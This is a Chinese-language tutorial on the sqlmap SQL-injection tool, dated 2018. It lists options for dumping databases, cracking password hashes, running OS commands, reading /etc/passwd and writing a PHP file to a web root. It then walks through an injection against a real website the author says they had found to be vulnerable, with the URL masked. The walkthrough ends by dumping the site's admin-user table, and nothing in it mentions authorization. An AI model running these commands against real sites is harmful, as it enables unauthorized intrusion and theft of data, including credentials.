sqlmap,一款强大的注入工具,介绍、安装什么的,我就不多说了。
https://github.com/sqlmapproject/sqlmap 仓库地址
使用帮助(部分)
常用语句:
sqlmap.py -u "[URL]" 或 sqlmap.py -r "[数据请求包_path]"
--dbs //获取所有数据库
--current-db //获取当前的数据库名
--current-user //获取当前数据库的用户名
--tables //获取数据的所有表名
--tables -D [数据库名] //获取指定数据库中的所有表名
--column -T [表名] -D [数据库名] //获取指定表中的列字段
--dump -C [列名] -T [表名] -D [数据库名] //dump数据(可也 dump all)
--is-dba -v 1 //查看当前数据库的用户是不是dba的权限
--password //爆数据库的密码(并自带有破哈希值的字典)
--dbms=mssql //指定数据库的类型(提高效率)
--data="POST参数" //指定跑POST参数
-p "参数" //指定跑URL中的具体参数(避免发送多余的测试数据)
–cookie="参数" --level=2 //跑cookie参数
--tamper encharcode.py //加载sqlmap自带的字符加密脚本(有很多个)
–threads 10 //指定sqlmap的线程
--cookie=COOKIE值 //加上用户的cookie(需要登录的网站)
--os-cmd=whoami //执行系统命令(需一定条件)
--reg-read //读取win系统注册表
--level 1 --risk 1 //指定级别和风险值(值越高测试的payload越多)
--time-sec=3 //设定超时时间(单位 秒)
-v 3 //显示测试的payload(另外有[0-6] 7个等级)
-f //指纹判别数据库类型
–file-read “/etc/passwd” //读取指定文件
–file-write [localfile-path] –file-dest /var/www/html/xx.php //写入文件
--user-agent="I am good " //伪装友好的浏览器和操作系统
这里拿我先前找到的一个存在SQL注入漏洞的网站进行简单的演示(敏感数据已打码)
目标URL:https://www.xxx.com/xx.xxx?id=5
手工检测SQL注入点,我们只需简单的两三条语句便可以检测其是否存在SQL注入
1. 在目标URL后加一个单引号,发现有SQL报错回显;
2. 分别在目标URL后面加上 and 1=1 和 and 1=2 进行访问,会发现显示页面不一样,也就说明有问题;
3. 也可以直接使用burpsuite等抓包工具对有参数提交的地方抓取其数据包,直接放sqlmap里面跑。
好了,既然发现SQL注入的问题存在了,开始进行注入
sqlmap.py -u https://www.xxx.com/xx.xxx?id=5
//使用sqlmap工具进行扫描,下面扫出了几个 Payload
sqlmap.py -u "https://www.xxx.com/xx.xxx?id=5"–dbs
//获取数据库
sqlmap.py -u "https://www.xxx.com/xx.xxx?id=5"--current-db
//获取当前数据库名
sqlmap.py -u "https://www.xxx.com/xx.xxx?id=5"--current-user
//获取当前数据库的用户名
sqlmap.py -u "https://www.xxx.com/xx.xxx?id=5"--tables
//获取数据库的表名
sqlmap.py -u "https://www.xxx.com/xx.xxx?id=5"--tables -D r3550c17g3
//获取指定数据库中的表名
sqlmap.py -u "" --columns -Tmanage_user -D r3550c17g3
//获取指定表中的列名
sqlmap.py -u "https://www.xxx.com/xx.xxx?id=5"--dump -C manage_name -T manage_user -D r3550c17g3
//获取指定列名中的字段
SQL注入,点到即止
扩展阅读
本文章还会继续完善,最后编辑于 2018/06/08